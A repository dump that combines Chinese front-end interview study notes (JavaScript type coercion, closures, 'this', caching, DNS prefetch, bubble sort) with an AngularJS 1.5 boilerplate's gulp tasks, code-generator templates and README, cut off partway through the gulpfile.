基本数据类型:`Number` `String` `Boolean` `Null` `Undefined` `Symbol` - 引用数据类型 `Object` ## 4. 请描述一下 JavaScript 的数据类型转换 JS 的数据类型转换有两种场景 1. 显示类型转换(手动执行) 2. 隐式类型转换(代码执行时内部自动进行) `Number()`--原始类型转换 1. 数值:转换后还是原来的数值 2. 字符串:如果可以被解析为数值,那就取那个数值,否则就转换为`NaN`(注意,NaN 也是数字类型),空字符串为 0 3. 布尔值:true ==》1 false --》0 4. `undefined`:转换为 NaN 5. `null`:转换为 0 ```js Number(123) // 123 Number('123') // 123 Number('1234a') // NaN Number('') // 0 多个空字符串也是 0 Number(true) // 1 Number(false) // 0 Number(undefined) // NaN Number(null) // 0 ``` `Number()`--对象类型转换 1. 先调用对象自身的`valueOf`方法,如果该方法返回原始数据类型(数字、字符串、布尔值),则对该值直接使用`Number()`即可获取转换结果 2. 如果第 1 步中的`valueOf`返回值是一个复合类型值,那么再选择调用对象自身的`toString`方法。如果`toString`返回原始数据类型(数字、字符串、布尔值),则对该值直接使用`Number()`即可获取转换结果;如果`toString`返回一个复合类型,那么就会报错 看代码 ```js var o = { a: 1 } o.valueOf() // 返回对象{a: 1} o.toString() // 返回字符串`[object Object]` Number(o) // NaN o.valueOf = function() { return 1 } Number(o) // 1 ``` `String()`--原始类型转换 1. 数值:转换为响应的字符串 2. 字符串:维持原值 3. 布尔值:true --》'true',false --》'false' 4. undefined:'undefined' 5. null: 'null' 看代码 ```js String(111) // '111' String('111') // '111' String(true) // 'true' String(false) // 'false' String(undefined) // 'undefined' String(null) // 'null' ``` `String()`--对象类型转换 1. 先调用对象自身的`toString`方法,如果`toString`返回原始类型值,则对该值直接使用`String()`即可获取转换值 2. 如果第 1 步中的`toString`返回一个复合类型值,那么再尝试调用对象的`valueOf`方法,如果`valueOf`返回原始类型值,则对改值直接使用`String()`;如果`valueOf`仍然返回复合类型,那么就会报错 ```js var o = { a: 1 } o.toString() // '[object Object]' String(o) // '[object Object]' o.toString = function() { return { b: 1 } } o.toString() // 返回对象 {b: 1} o.valueOf() // 返回对象 {a: 1} String(o) // TypeError Cannot convert object to primitive value o.valueOf = function() { return 'changed' } String(o) // 'changed' ``` `Boolean()`--原始类型转换 看代码 ```js // 原始数据类型 只有以下几个值会转换为 false Boolean(undefined) // false Boolean(null) // false Boolean(+0) // false Boolean(-0) // false Boolean(NaN) // false Boolean('') // false ``` `Boolean()`--对象类型转换 所有的对象类型值都会转换为`true`,包括`{}, []`这类空对象和空数组 会触发隐式类型转换的情况 1. 四则运算 2. 判断运算符(`==` `===`) 3. Native 函数的调用,比如`console.log()`自动将输入值转换为字符串 可能考到的隐式类型转换提 ```js // js 运行环境(即宿主) chrome 控制台 [] + [] // 返回空字符串 `` [] + {} // 返回字符串 `[object Object]` {} + [] // 返回 数字 0 按照运算规则 {} 被当做空代码块执行 所以就是计算 + [] {} + {} // 返回字符串 `[object Object][object Object` true + true // 返回数字 2 1 + {a: 1} // 返回字符串 `1[object Object]` ``` ## 4. 当代码里出现了 this,请问从代码分析的角度,如何确定 this 的执行 this 一般出现在函数内部,是函数执行时的上下文。因为函数的调用方式不同,所以函数执行时上下文也会不同(也就是 this 值不同) MDN 对 this 的介绍 > 函数的调用方式决定了 this 的值。this 不能在函数执行期间被赋值,并且在每次函数被调用时 this 的值也可能不同。ES5 中引入了 `bind` 方法来设置this的值,而不用像先前那样考虑函数是如何被调用的,ES5 同时还引入了支持 this 词法解析的箭头函数(箭头函数在闭合的执行上下文内设置 this 的值) 在全局执行上下文中(在任何函数体的外部),`this`都是指代全局对象,而在浏览器中,`window对象`同时也是全局对象 ```js // 浏览器中 console.log(this === window) // true a = 37 console.log(this.a) // 37 console.log(window.a) // 37 ``` 而考虑函数上下文时,在函数内部`this`的值取决于函数被调用的方式。函数被调用的方式有 - 在全局上下文,直接使用`functionName()`调用,非严格模式下,这种调用方式函数内部的 this 为 全局对象也就是 window ;严格模式下,则为 undefined - 作为对象的属性调用,也就是`obj.functionName()`,这里函数内部的`this`是调用该函数的对象 最核心的理念,记住函数的调用几个方法 ```js Function.prototype.call() // 该方法调用一个函数,使其具有一个指定的 this值和分别提供的若干个参数组成的参数列表 Function.prototype.apply() // 该方法调用一个函数,使其具有一个指定的this值和分别提供的若干个参数组成的参数数组 Function.prototype.bind() // 创建一个新函数,新函数被调用时使用使用 bind 绑定时的所用 this 对象和若干个参数(这些参数在新函数被调用时,将在新函数的实参值之前传递给被绑定的函数) ``` ```js // Function.prototype.bind()--偏函数的用法 function list() { return Array.prototype.slice.call(arguments) } var list1 = list(1, 2, 3) // [1, 2, 3] // create a function with a preset leading argument var leadingThirtySevenList = list.bind(undefined, 37) var list2 = leadingThirtySevenList() // [37] var list3 = leadingThirtySevenList(1, 2, 3) // [37, 1, 2, 3] ``` ## 6. 什么是闭包,为什么使用闭包,使用闭包的危害是什么 在计算机科学中,闭包(closure),又称词法闭包(lexical closure)或者函数闭包(function closure),是引用了自由变量的函数。 简单来说,闭包是由函数已经创造该函数的词法环境组合而成。被闭包里的函数所引用的自由变量将和该函数一同存在,即使自由变量已经离开了创造它的环境。 考虑以下代码 ```js function makeAdder(x) { return function(y) { return x + y } } var add5 = makeAdder(5) var add10 = makeAdder(10) add5(2) // 7 add10(2) // 12 ``` 之所以使用闭包,是因为它允许函数与其操作的数据(环境)相关联起来。开发者可以使用闭包的特性在JS中模拟私有方法,不仅有利于限制外界对代码的访问,还提供了管理全局命名空间的强大能力,避免非核心方法或变量扰乱公共接口部分。 不过除了特定任务需要使用闭包以外,普通任务在函数中创建其他函数并返回是不明智的。因为闭包在处理速度和内存消耗方面对网页性能具有负面影响。所谓的“内存泄露”,是因为老的IE浏览器采用“引用计数”的垃圾回收机制,闭包会引用一些自由变量,如果没有做合适的函数引用解除来释放内存,那么内存不会被回收。新一代浏览器大多已经采用“标记清除”的垃圾回收机制了 ## 7. 如何继承实现一个类?ES5 和 ES6 分别怎么做 ES5 用原型对象来模拟继承 ```js // 借用构造函数继承,缺陷:父类原型对象上的属性和方法不会被子类继承 // 原型链继承,缺陷:无法传参给父类构造函数,且父类原型对象上的应用类型属性会被实例共享 // 组合继承(原型链+借用构造函数),缺陷:父类构造函数调用了两次,子类原型对象上多了重复的属性和方法(在父类原型对象上可以找到) ```<file_sep>/小米面试题/一面/question.md # 面试题 ## 1. CSS实现图片自适应宽高 利用百分比`padding`实现 ```html <section> <style> .banner { padding: 15.15% 0 0; position: relative; } .banner > img { position: absolute; width: 100%; height: 100%; left: 0; top: 0; } </style> <div class="banner"> <img src="banner.jpg"> </div> </section> ``` ## 讲讲 flex flex -- 弹性盒子模型 ```html <section> <style> .flex-box { display: flex; flex-direction: row || column; justify-content: center; align-items: center; flex-wrap: nowrap; } .flex-item { order: 0; flex-grow: 0; flex-shrink: 1; flex-basis: auto; flex: 0 1 auto; align-self: auto; } </style> <ul class="flex-box"> <li class="flex-item"></li> <li class="flex-item"></li> <li class="flex-item"></li> </ul> </section> ``` ### BFC 块级格式化上下文 渲染原理: 1. 垂直方向上的外边距重叠只会发生在属于同一 BFC 区域 的块级元素之间 2. BFC 区域 不会与浮动区域的块级元素重叠 3. BFC 区域 是一个独立的容器 4. 计算 BFC 容器 高度时,其内部的浮动元素也会参与计算 应用:清除浮动,父子边距重叠,兄弟边距重叠 ## 前端如何鉴权 常用的 1. session-cookie 2. Token--JWT 3. OAuth ## Vue里的虚拟 DOM Virtual DOM 算法主要是实现上面步骤的三个函数 `element` `diff` `patch`。然后就可以实际进行使用 ```js // 1. js 对象构建虚拟 DOM var tree = el('div', { id: 'container' }, [ el('h1', { style: 'color: blue' }, ['simple virtual dom']), el('p', ['Hello, virtual dom']), el('ul', [el('li')]) ]) // 2. 通过虚拟 DOM 构建真正的 DOM 树 var root = tree.render() document.body.appendChild(root) // 3. 生成新的虚拟 DOM var newTree = el('div', {'id': 'container'}, [ el('h1', {style: 'color: red'}, ['simple virtal dom']), el('p', ['Hello, virtual-dom']), el('ul', [el('li'), el('li')]) ]) // 4. 比较两棵虚拟 DOM 树的不同,并且记录下来 var patches = diff(tree, newTree) // 5. 在真正的 DOM 树上应用更新 applyPatches(root, patches) ``` ## Vue 的双向绑定讲一讲 Index Observer Watcher Compile ## 手写函数节流和函数防抖 函数节流(throttle):指定时间间隔内,函数只会执行一次 函数防抖(debounce):事件触发后的时间大于指定时间间隔时,函数才会执行<file_sep>/面向对象/knowledge.md # 面向对象 类与实例 -- 类的声明;实例的生成 类与继承 -- 如何实现继承;继承的几种方式 ## 类的声明和实例的生成 ES5 用原型链来模拟 ```js function Animal(name) { this.name = name } var dog = new Animal('dog') ``` ES6 有类的声明 ```js class Animal { constructor(name) { this.name = name } } let dog = new Animal('dog') ``` ## 如何实现继承 ES5 用原型链来模拟继承 ```js function Animal(name) { this.name = name } function Dog() Animal.prototype.walk = function() { console.log('walk') } var dog = new Animal('dog') ``` ## 继承的几种方式 <file_sep>/前端常用排序算法/冒泡排序/bubble.js // 第一版 直白地写 function bubble(arr = []) { var len = arr.length; if (len) { for (var i = len - 1; i > 0; i--) { for (var j = 0; j < i; j++) { if (arr[j] > arr[j + 1]) { var tmp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = tmp; } } } } return arr; } // 第二版 function bubble1(arr) { var i = arr.length - 1; while (i > 0) { var pos = 0; for (var j = 0; j < i; j++) { if (arr[j] > arr[j + 1]) { pos = j; var tmp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = tmp; } } i = pos; } return arr; } // 第三版 function bubble2(arr) { var start = 0; var end = arr.length - 1; var j, tmp; var n = 0 while (start < end) { // 正向冒泡,最大值排数组最后面 for (j = start; j < end; j++) { if (arr[j] > arr[j + 1]) { tmp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = tmp; } } end--; // 反向冒泡,最小值排数组最前面 for (j = end; j > start; j--) { if (arr[j] < arr[(j - 1)]) { tmp = arr[j]; arr[j] = arr[j - 1]; arr[j - 1] = tmp; } } start++ n++ } console.log(n) return arr } <file_sep>/页面性能/knowledge.md # 页面性能类 题目:提升页面性能的方法有哪些 1. 资源压缩合并,减少 HTTP 请求 2. 非核心代码异步加载--》异步加载的方式--》异步加载的区别 3. 利用浏览器缓存--》缓存的分类--》缓存的原理 4. 使用 CDN 5. 预解析 DNS--`<meta http-equiv="x-dns-prefetch-control" content="on">`( https 协议会默认会关闭 DNS 预解析,这种写法就是强制打开 DNS 预防解析)以及`<link rel="dns-prefetch" href="//host_name_to_prefetch.com">`(前端开发者比较熟悉) 6. 一个考查广度的问题:从浏览器中输入 ur l 到呈现网页整个过程发生了什么 ## 异步加载 异步加载的方式 1. 动态脚本加载(动态创建`<script>`标签) 2. defer--`<script defer></script>` 3. async--`<script async></script>` 异步加载的区别(defer vs async) 1. defer 是在 HTML 解析完成后就会执行的 js 脚本,如果是多个,则会按照加载的顺序依次执行 2. async 是在 HTML 页面加载完成以后才执行,如果是多个,执行顺序和加载顺序没有关系,也就是说 async 不保证 js 脚本按照加载顺序依次执行,而 defer 则会给予这样的保证 ## 浏览器缓存 缓存分类--强缓存和协商缓存 什么是浏览器缓存?浏览器请求网络资源时,在拿到数据后可以在本地磁盘 copy 一份,下次请求同样的数据时可以使用本地的 copy 作为响应数据(在 chrome 浏览器,如果拿到的是缓存数据,可以在控制台看到 http 状态码是这样显示的 -- 200(from disk cache)) 强缓存,是指浏览器在与服务器约定好的时间内不再与服务器通信了,如果有新请求,那么直接使用上次请求的数据在本地磁盘的 copy;协商缓存是指在强缓存约定的时间点过了后,浏览器如果有新请求,那么需要和服务器通信,浏览器携带协商缓存所需要使用的 HTTP 头部,服务器根据 HTTP 头部来判断缓存是否过期。如果过期,那么返回的 response 里有响应实体(也就是数据嘛);如果未过期,服务器一般返回一个 304 状态码的 response,没有响应实体哟,浏览器根据这个接直接使用本地磁盘的 copy 数据。 强缓存用到的 HTTP 头部 1. `Expires: Thu, 21 Jan 2017 23:39:02 GMT`--Expires 是服务器下发的时间戳,客户端根据本地的时间戳和它做对比,来判断缓存是否过期。所以 Expires 所携带的时间戳有个问题,当服务器的时间和客户端时间不一致时,缓存过期时间戳就不一定正确了 2. `Cache-Control: max-age=3600`-- max-age=3600 这里的 3600 是 3600s,max-age 代表的是一个时间间隔,如果客户端在上次请求完成后,又在接下来的 3600s 这个时间段内又发起了新的请求,浏览器可以使用上次请求在本地 copy 的数据(也就是缓存嘛)作为响应给客户端。max-age 可以说是规避了服务器和客户端系统时间不一致而会导致的问题 3. Expires 和 Cache-Control 同时存在的话,根据标准,Cache-Control 说了算 协商缓存用到的 HTTP 头部 1. `Last-Modified: Wed, 26 Jan 2017 00:35:11 GME`-- 浏览器(假设这里是第一次)请求服务器资源,服务器返回响应时携带的一个 HTTP 头(key 值是一个时间戳,表示服务器这次下发资源是什么时候) 2. `If-Modified-Since: Wed, 26 Jan 2017 00:35:11 GME`-- 浏览器第二次请求服务器资源时,HTTP 请求携带的一个 HTTP 头(key 值也是一个时间戳,表示浏览器上一次请求资源是在什么时候,其实就是 1 中`Last-Modified`的值),服务器就能知道这次请求客户端的时间戳了,然后对比 3. `Etag: hash值`--根据`Last-Modified`和`If-Modified-Since`能判断出时间不一样,但是不能判断请求的数据是否变化了,所以`Etag`是服务器下发资源时在 HTTP 头部返回给客户端的一个 Hash 值(一个用来判断资源是否变化的标记) 4. `If-None-Match: hash值`--浏览器第二次请求服务器资源时,还会携带`If-None-Match`这个头部(其 key 值就是 3 中的`Etag`的值),服务器根据这个头部的值来比对服务器上所请求的那个资源的`Etag`值,如果一样,那么就返回 304 状态码的 HTTP 响应,告诉浏览器可以使用本地的 copy 数据;如果不一样,那好嘛,返回新数据就好了呀 ## DNS 预解析 DNS 请求的带宽非常小,但是延迟却有点高,这一点在手机网络上特别明显。DNS 预解析能够让延迟明显减少,例如用户点击链接时,在某些情况下,甚至可以减少一秒钟 在某些浏览器当中,DNS 预解析 这个行为将会于页面实际内容并行发生(而不是串行)。正因为如此,某些高延迟的域名的解析过程因为 DNS 预解析,才不至于卡住页面 所以,DNS 预解析可以极大地加速(尤其是移动网络环境下)页面的加载。在某些图片较多的网页中,在发起图片加载之前预先把域名解析好至 i,少会有至少 5%的速度提升 `X-DNS-Prefetch-Control`头控制着浏览器的 DNS 预读取功能。DNS 预读取功能是一项使浏览器主动去执行域名解析的功能,其范围包括文档的所有链接,无论是图片的,CSS 的,还是 JS 资源等其他用户可以点击的 URL 因为预读取在后台执行,所以 DNS 很可能在链接对应的东西出现之前就已经解析完毕,这能在一定程度上减少用户点击链接时的延迟。 `X-DNS-Prefetch-Control`一般是作为 http response header 来使用 ```http X-DNS-Prefetch-Control: on x-DNS-Prefetch-Control: off ``` 以上`on`和`off`参数的含义 - on: 启用 DNS 预解析,在浏览器支持 DNS 预解析的特性时,即使不使用`<meta>`标签浏览器依然会进行 DNS 预解析 - off: 关闭 DNS 预解析,当 HTML 页面上某些链接并不是由开发者控制的或者是开发者根本不想向这些域名引导数据时,使用这个属性是非常有用的 除了通过后端的`X-DNS-Prefetch-Control`的响应头来设置 DNS 预解析,还可以在 HTML 文档中 使用 `<meta>`和`<link>`标签来达到同样的效果 ```html <!-- 开启 --> <meta http-equiv="x-dns-prefetch-control" content="on" /> <!-- 关闭 --> <meta http-equiv="x-dns-prefetch-control" content="off" /> ``` 以上是开启浏览器 DNS 预解析功能,下面是使用 link 标签对特定的域名进行预解析 ```html <!-- 使用 link 对特定域名进行预解析 --> <link rel="dns-prefetch" href="http://www.spreadfirefox.com/" /> <!-- link 元素也支持不完整的 URL 的主机名来进行预解析 但需要在主机名前面加双斜线 - --> <link rel="dns-prefetch" href="//www.spreadfirefox.com/" /> ``` 强制对域名进行预读取在有的情况下很有用,比如,在网站的主页上,强制对需要频繁引用资源的域名进行预解析,即使这些资源不在主页上使用,即使它们不对主页的性能造成影响,但是进行 DNS 预解析将会提升站点的整体性能 需要注意的一点是,对于 https 协议,浏览器是默认关闭 DNS 预解析的,前端一般使用前面提到的`<meta http-equiv="x-dns-prefetch-control" content="on">` ```js if ('geolocation' in navigator) { /* 地理位置服务可用 */ console.log(navigator.geolocation) } else { /* 地理位置服务不可用 */ } ```
850186233af5d1b66b68c120ab4c455c804b880d
[ "Markdown", "TypeScript", "JavaScript" ]
58
Markdown
WjmNightingale/-
3a787746422efef14427dfc5361b34e16f74e3f2
010f3fc2823a9ed8a283f5f891994d2ad60ec9f3
refs/heads/master
<file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .constant('APP_<%= upperName %>', { key: 'value' }) })();<file_sep>var gulp = require('gulp'); function copyFilesForProduction() { return gulp.src('./dist/**/*.**') .pipe(gulp.dest('./production/dist')); } module.exports = copyFilesForProduction; <file_sep>var gulp = require('gulp'); var templateCache = require('gulp-angular-templatecache'); function compileTemplates() { return gulp.src('src/**/*.html') .pipe(templateCache()) .pipe(gulp.dest('dist/js')); } module.exports = compileTemplates; <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .run(<%= upCaseName %>Run); function <%= upCaseName %>Run() { } })(); <file_sep>var gulp = require('gulp'); var annotate = require('gulp-ng-annotate'); function annotater() { return gulp.src('./dist/js/build.js') .pipe(annotate()) .pipe(gulp.dest('./dist/js')); } module.exports = annotater;<file_sep>module.exports = [ './node_modules/angular/angular.min.js', './node_modules/angular-animate/angular-animate.min.js', './node_modules/angular-ui-router/release/angular-ui-router.min.js', './node_modules/angular-loading-bar/build/loading-bar.min.js', './node_modules/sb-error-logger/dist/sb-error-logger.min.js' ] <file_sep>/*global angular:true*/ (function() { 'use strict' angular .module('app') .config(<%= upCaseName %>Config); function <%= upCaseName %>Config() { // Logic here } })(); <file_sep>var gulp = require('gulp'); var concat = require('gulp-concat'); function buildApp() { return gulp.src([ './src/app.js', './src/constants/**/*.js', './src/interceptors/**/*.js', './src/config/**/*.js', './src/run/**/*.js', './src/common/**/*.js', './src/directives/**/*.js', './src/views/**/*.js' ]) .pipe(concat('build.js')) .pipe(gulp.dest('./dist/js')); } module.exports = buildApp;<file_sep>/*global angular:true*/ (function() { 'use strict' angular .module('app') .config(config); function config($stateProvider) { $stateProvider .state('app.about', { url: '/about', views: { 'content@': { resolve: { service: 'AboutService', customerList: function(AboutService) { return AboutService.func(); } }, templateUrl: 'views/about/about.html', controller: 'AboutController', controllerAs: 'vm' } } }) } })(); <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .factory('<%= upCaseName %>Interceptor', <%= upCaseName %>Interceptor); <%= upCaseName %>Interceptor.$inject = []; /* @ngInject */ function <%= upCaseName %>Interceptor() { var service = { func: func }; return service; //////////////// function func() { } } })(); <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .service('MobilenavService', MobilenavService); MobilenavService.$inject = ['$rootScope']; /* @ngInject */ function MobilenavService($rootScope) { this.init = init; //////////////// function init() { $rootScope.isMobileNavOpen = false; $rootScope.toggleMobileNav = function() { $rootScope.isMobileNavOpen = !$rootScope.isMobileNavOpen; } } } })(); <file_sep>/*global angular:true*/ (function() { 'use strict' angular .module('app') .config(config); function config($stateProvider) { $stateProvider .state('app.<% if(parent) { print(parent + '.') } %><%= name %>', { url: '/<%= name %>', views: { 'content@': { templateUrl: 'views/<% if(parent) { print(parent + '/') } %><%= name %>/<%= name %>.html', controller: '<%= upCaseParentName %><%= upCaseName %>Controller', controllerAs: 'vm' } } }) } })(); <file_sep>var path = require('path'); module.exports = { source: './src/**/*.js', html: './src/**/*.html', css: './src/**/*.scss', blankTemplates: path.join(__dirname, 'generator', 'view/**/*.**'), constTemplates: path.join(__dirname, 'generator', 'constant/**/*.**'), compTemplates: path.join(__dirname, 'generator', 'component/**/*.**'), directiveTemplates: path.join(__dirname, 'generator', 'directive/**/*.**'), serviceTemplates: path.join(__dirname, 'generator', 'service/**/*.**'), configTemplates: path.join(__dirname, 'generator', 'config/**/*.**'), interceptorTemplates: path.join(__dirname, 'generator', 'interceptor/**/*.**'), runnerTemplates: path.join(__dirname, 'generator', 'run/**/*.**'), } <file_sep># Angular 1.5 Boilerplate This is a boilerplate to get up and running quickly for a new Angular 1.5 application. It uses NodeJS and gulp to handle it's development enviroment. It is built using the following technologies: Name | Version ----|---- AngularJS|1.5.8 Angular Animate|1.5.8 Angular Loading Bar|0.9.0 Angular UI Router|0.3.1 # Setup Make sure you have downloaded NodeJS v4.4.7 and updated npm (node package manager) Update node package manager ``` npm install -g npm ``` Clone the project to a folder of your choice. Install GULP globally. ``` npm install -g gulp ``` # Commands ``` gulp watch ``` Launches a browserSync which will serve the page to **http://localhost:9000** This will automatically refresh and build everytime you save **CSS/HTML/JS** ``` gulp build ``` Builds minified css and js to **/dist/** folder. ``` gulp js-lint ``` Lints your JavaScript files for any errors per best practices. ``` gulp sass-lint ``` Lints your SASS files for any errors per best practices. # Best Practices ### Linting The build process and browserSync always lints your code. If your code does not pass our linting, you will not be able to commit your code to the git repository. ### JavaScript When creating new files, use the **Generators** which are provided via gulp. All the generators take into account the best practice of the folder-structure and minification of AngularJS files. ### SASS The project uses SASS as .scss as has some rules in the SASS-linting included. The rules are in place to make sure we adhere to our best-practices and make easy to read code. Browser prefixes are not neccessary, as these are added during the build-process. When naming css classes, use "viewname-element-subelement-subsubelement". For example a card might look like this: ```scss .card { background: #fff; flex: 1; .card-header { background: #fafafa; p { font-size: 1rem; margin: 0; } &:hover { background: #f1f1f1; } } .card-footer { height: 50px; .card-footer-button { cursor: pointer; .card-footer-button-text { font-size: .8rem; } } } } ``` # Styles SASS Overrides are located in a sass file called _overrides.scss. ``` ./src/common/styles/_overrides.scss ``` SASS Variables are located in a sass file called _variables.scss ``` ./src/common/styles/_variables.scss ``` Always use variables when defining things to be used multiple places. Like colors/font-family etc. # 3rd-party libraries To add third party libraries, download them via the Node Package Manager. For example, to use angular-animate, write ``` npm install angular-animate --save ``` Then, include the script files in ./vendorconfig.js to let the gulp task know it needs to include the script in the bundled vendor.js. ```javascript module.exports = [ './node_modules/angular/angular.min.js', './node_modules/angular-animate/angular-animate.min.js', // Added this line ] ``` # Generators Generators for creating different files are provided. The following generators can be used via gulp: ### View Generator ``` gulp view --name viewname ``` Generates a view in ./src/views/viewname Optionally you can use the following command to create a child-view ``` gulp view --name childviewname --parent viewname ``` The view command creates the following files: Filename|Description -----|---- viewname.js|Main file for the view controller. viewname.route.js|File containing the route specific logic for ui.router viewname.scss|Stylesheet for the view. SASS viewname.html|View HTML-template ### Constant Generator ``` gulp constant --name constantname ``` Generates a constant in ./src/constants/ The constant command creates the following files: Filename|Description -----|----- constantname.constant.js|Angular Constant boilerplate file. ### Component Generator ``` gulp component --name componentname ``` Generates a component in ./src/common/components/componentname A component is just a controller / html / scss that does not use a route. Not to be confused with component architecture. The component command creates the following files: Filename|Description ----|----- componentname.js|Main file for the view controller. componentname.scss|Stylesheet for the view. SASS componentname.html|View HTML-template ### Directive Generator ``` gulp directive --name directivename ``` Generates a directive in ./src/directives/ The directive command creates the following files: Filename|Description -----|----- directivename.js|Main file for the directive. ### Service Generator ``` gulp service --parent parentview ``` Generates a service in ./src/views/parentview The service command creates the following files: Filename|Description -----|---- parentview.service.js|Main file for the service. ### Config Generator ``` gulp config --name configname ``` Generates a config file in ./src/config/ The config command creates the following files: Filename|Description -----|----- configname.config.js|Main file for the config. ### Interceptor Generator ``` gulp interceptor --name interceptorname ``` Generates a interceptor file in ./src/interceptors/ The interceptor command creates the following files: Filename|Description ----|----- interceptorname.interceptor.js|Main file for the interceptor. ### Runner Generator ``` gulp runner --name runnername ``` Generates a runner file in ./src/run/ The runner command creates the following files: Filename|Description -----|----- runnername.run.js|Main file for the runner.| <file_sep>var gulp = require('gulp'); var autoprefix = require('gulp-autoprefixer'); function autoPrefixCss() { return gulp.src('./dist/css/style.css') .pipe(autoprefix({ browsers: ['last 2 versions'], cascade: false })) .pipe(gulp.dest('dist/css/')) } module.exports = autoPrefixCss;<file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .controller('DetailController', DetailController); DetailController.$inject = []; /* @ngInject */ function DetailController() { var vm = this; vm.title = 'DetailController'; activate(); //////////////// function activate() { } } })(); <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .run(NavRun); NavRun.$inject = ['NavService', 'MobilenavService']; function NavRun( NavService, MobilenavService) { NavService.init(); MobilenavService.init(); } })(); <file_sep>var gulp = require('gulp'); var clean = require('gulp-clean'); function cleanProd() { return gulp.src('./production') .pipe(clean()); } module.exports = cleanProd; <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .controller('MobilenavController', MobilenavController); MobilenavController.$inject = ['APP_ROUTES', 'MobilenavService', '$state', '$rootScope']; /* @ngInject */ function MobilenavController( APP_ROUTES, MobilenavService, $state, $rootScope) { var vm = this; vm.title = 'MobilenavController'; vm.toggleMobileNav = toggleMobileNav; vm.routes = APP_ROUTES; vm.navigateToRoute = navigateToRoute; //////////////// function toggleMobileNav() { MobilenavService.toggleMobileNav(); } function navigateToRoute(event, state) { event.stopPropagation(); $state.go(state); $rootScope.toggleMobileNav(); } } })(); <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .constant('APP_ROUTES', [ { name: 'Home', state: 'app.home', icon: 'home', url: '/home' }, { name: 'About', state: 'app.about', icon: 'dashboard', url: '/about' } ]) })(); <file_sep>var gulp = require('gulp'); var sass = require('gulp-sass'); var concat = require('gulp-concat'); function build(browserSync) { return gulp.src('./src/**/*.scss') .pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError)) .pipe(concat('style.css')) .pipe(gulp.dest('./dist/css')) .pipe(browserSync.stream()); } module.exports = { build: build }<file_sep>var gulp = require('gulp'); function copyImagesProd() { return gulp.src('./img/**/*.**') .pipe(gulp.dest('./production/img')); } module.exports = copyImagesProd; <file_sep>/*global angular:true*/ (function() { 'use strict'; angular .module('app') .controller('NavController', NavController); NavController.$inject = ['$state', 'APP_ROUTES', 'NavService']; /* @ngInject */ function NavController( $state, APP_ROUTES, NavService) { var vm = this; vm.title = 'NavController'; vm.$state = $state; vm.toggleNav = toggleNav; vm.routes = APP_ROUTES; //////////////// function toggleNav() { NavService.toggleNav(); } } })(); <file_sep>var gulp = require('gulp'); var sassLint = require('gulp-sass-lint'); function sassLinter() { return gulp.src('./src/**/*.scss') .pipe(sassLint({ configFile: './.sasslintrc' })) .pipe(sassLint.format()) .pipe(sassLint.failOnError()) } module.exports = sassLinter;<file_sep>/*global angular:true*/ // Instantiate module which is used to compile templates. (function() { 'use-strict'; angular .module('templates', []); })(); (function() { 'use strict'; angular .module('app', [ 'ngAnimate', 'ui.router', 'cfp.loadingBar', 'templates', 'sbErrorLogger' ]); })(); <file_sep>var gulp = require('gulp'); var concat = require('gulp-concat'); var vendorlist = require('../vendorconfig'); function vendor() { return gulp.src(vendorlist) .pipe(concat('vendor.js')) .pipe(gulp.dest('./dist/vendor')); } module.exports = vendor;<file_sep>/*global angular:true*/ (function() { 'use strict' angular .module('app') .config(config); function config($urlRouterProvider) { $urlRouterProvider .otherwise('/home') } })(); (function() { 'use strict' angular .module('app') .config(config); function config($stateProvider) { $stateProvider .state('app', { abstract: true, resolve: { // Add any logic here which needs to be resolved before app renders. This can also be added to child routes. }, views: { 'header@': { templateUrl: 'common/components/header/header.html', controller: 'HeaderController', controllerAs: 'vm' }, 'nav@': { templateUrl: 'common/components/nav/nav.html', controller: 'NavController', controllerAs: 'vm' }, 'mobilenav@': { templateUrl: 'common/components/mobilenav/mobilenav.html', controller: 'MobilenavController', controllerAs: 'vm' } } }) } })(); <file_sep>var runSequence = require('run-sequence'); function builder(cb) { return runSequence( 'clean', 'js-lint', 'sass-lint', 'build-app-css', 'build-app-js', 'ng-annotate', 'uglify-app-js', 'build-vendor-js', 'template-cache', cb); } module.exports = builder; <file_sep>/*global angular:true*/ (function() { 'use strict' angular .module('app') .config(LoadingConfig); function LoadingConfig(cfpLoadingBarProvider) { // Disable the spinner of the loading bar. cfpLoadingBarProvider.includeSpinner = false; } })(); <file_sep>// /*global angular:true*/ // (function() { // 'use strict' // angular // .module('app') // .config(LoadingbarConfig); // function LoadingbarConfig($httpProvider) { // // Disable the spinner of the loading bar. // $httpProvider.interceptors.push('LoadingInterceptor'); // } // })(); <file_sep>var gulp = require('gulp'); var eslint = require('gulp-eslint'); function jsLiveLint() { return gulp.src(['./src/**/*.js']) .pipe(eslint()) .pipe(eslint.format(null, function(output) { errorMsg = output; console.log(output); })) } module.exports = jsLiveLint;<file_sep>'use strict'; var gulp = require('gulp'); var sourcemaps = require('gulp-sourcemaps'); var runSequence = require('run-sequence'); var browserSync = require('browser-sync').create(); var paths = require('./paths'); var watch = require('gulp-watch'); var sequence = require('gulp-watch-sequence'); var gutil = require('gulp-util'); var autoprefixcss = require('./tasks/autoprefixcss'); var appjs = require('./tasks/app'); var annotate = require('./tasks/annotate'); var clean = require('./tasks/clean'); var generators = require('./tasks/generators'); var jsLint = require('./tasks/jslint'); var jsLiveLint = require('./tasks/jslivelint'); var styles = require('./tasks/styles'); var vendor = require('./tasks/vendor'); var sassLint = require('./tasks/sasslint'); var sassLiveLint = require('./tasks/sasslivelint'); var uglify = require('./tasks/uglify'); var ngTemplateCache = require('./tasks/templates'); var build = require('./tasks/build'); var copyFilesProd = require('./tasks/copyfilesprod'); var copyImagesProd = require('./tasks/copyimagesprod'); var copyIndexProd = require('./tasks/copyindexprod'); var cleanProd = require('./tasks/cleanprod'); var errorMsg; function reportChange(event) { console.log('File ' + event.path + ' was ' + event.type + ', running tasks...'); } gulp.task('build-prod', function(cb) { runSequence( 'build', 'clean-prod', 'copy-files-prod', 'copy-img-prod', 'copy-index-prod', cb) }); // For production deployment gulp.task('copy-files-prod', 